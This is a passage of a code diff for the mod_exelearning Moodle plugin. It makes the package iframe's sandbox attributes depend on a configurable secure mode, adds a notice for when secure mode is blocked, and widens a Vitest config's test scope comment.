-    // allow-same-origin: relative paths to pluginfile.php/.../content/<rev>/
-    // and future postMessage to the xAPI endpoint.
-    // allow-popups: interactive-video, hidden-image, etc.
-    // allow-forms: quick-questions, form, scrambled-list, etc.
-    // allow-popups-to-escape-sandbox: popups load without restrictions.
-    // Explicitly BLOCKED (not included):
-    // allow-top-navigation: a malicious package must not change the parent URL.
-    // allow-modals: no alert/confirm/prompt, they are UX interruptions.
+    // Hidden notice the relay's watchdog reveals if the secure-mode iframe never
+    // signals ready (e.g. an environment that cannot serve an opaque-origin iframe,
+    // such as a PHP-WASM service-worker host). Secure mode is never silently
+    // downgraded to the weaker same-origin mode (DEC-80-02).
+    if ($securemode) {
+        echo html_writer::div(
+            get_string('securemodeblocked', 'mod_exelearning'),
+            'alert alert-warning',
+            ['id' => 'exelearning-secure-blocked', 'role' => 'alert', 'style' => 'display:none;']
+        );
+    }
+
+    // Package iframe. The sandbox token list depends on the configured iframe
+    // security mode (\mod_exelearning\local\ui\player_iframe, DEC-80-01). Both modes
+    // omit allow-top-navigation (a package must not change the parent URL) and
+    // allow-modals; secure mode also omits allow-same-origin (opaque origin, so the
+    // package cannot reach this page) and allow-popups-to-escape-sandbox.
     echo html_writer::tag('iframe', '', [
         'src'    => $iframeurl->out(false),
         'name'   => 'exelearningobject',
@@ -485,14 +661,15 @@
         'width'  => '100%',
         'height' => '650',
         'allow'  => 'fullscreen',
-        'sandbox' => 'allow-scripts allow-same-origin allow-popups allow-forms allow-popups-to-escape-sandbox',
+        'sandbox' => \mod_exelearning\local\ui\player_iframe::sandbox_tokens(),
         'style'  => 'border: 1px solid var(--bs-border-color, #dee2e6); border-radius: .5rem;',
     ]);
 
     // Teacher-only content is hidden by default inside the eXeLearning package and
     // revealed via the ?exe-teacher=1 URL parameter appended to the iframe src above
-    // when the teachermodevisible setting is on. The plugin no longer injects CSS into
-    // the package to hide the teacher-layer selector (mod_exeweb parity retired).
+    // when the teachermodevisible setting is on (legacy and secure mode alike). The
+    // plugin no longer injects CSS into the package to hide the teacher-layer selector
+    // (mod_exeweb parity retired), and the SCORM bridge no longer carries the flag.
 }
 
 echo $OUTPUT->footer();
diff --git a/vitest.config.mjs b/vitest.config.mjs
index f160928..4fc803f 100644
--- a/vitest.config.mjs
+++ b/vitest.config.mjs
@@ -1,10 +1,10 @@
 import { defineConfig } from 'vitest/config';
 
-// Vitest config for the plugin's own JavaScript unit tests. Scope is deliberately
-// narrow: only the grade-critical SCORM tracker (js/scorm_tracker.js). UI glue
-// (amd/src/fullscreen.js, resize.js, editor_modal.js, ...) and the vendored pipwerks
-// wrappers (assets/scorm/*) are out of scope. The embedded editor (exelearning/) ships
-// its own Vitest suite and is not retested here.
+// Vitest config for the plugin's own JavaScript unit tests. Scope: the grade-critical
+// SCORM tracker (js/scorm_tracker.js), the secure-mode SCORM bridge (js/scorm_bridge_*)
+// and the external-embed shim/relay (js/exe_embed_*). UI glue (amd/src/*) and the
+// vendored pipwerks wrappers (assets/scorm/*) are out of scope. The embedded editor
+// (exelearning/) ships its own Vitest suite and is not retested here.
 export default defineConfig({
     test: {
         globals: true,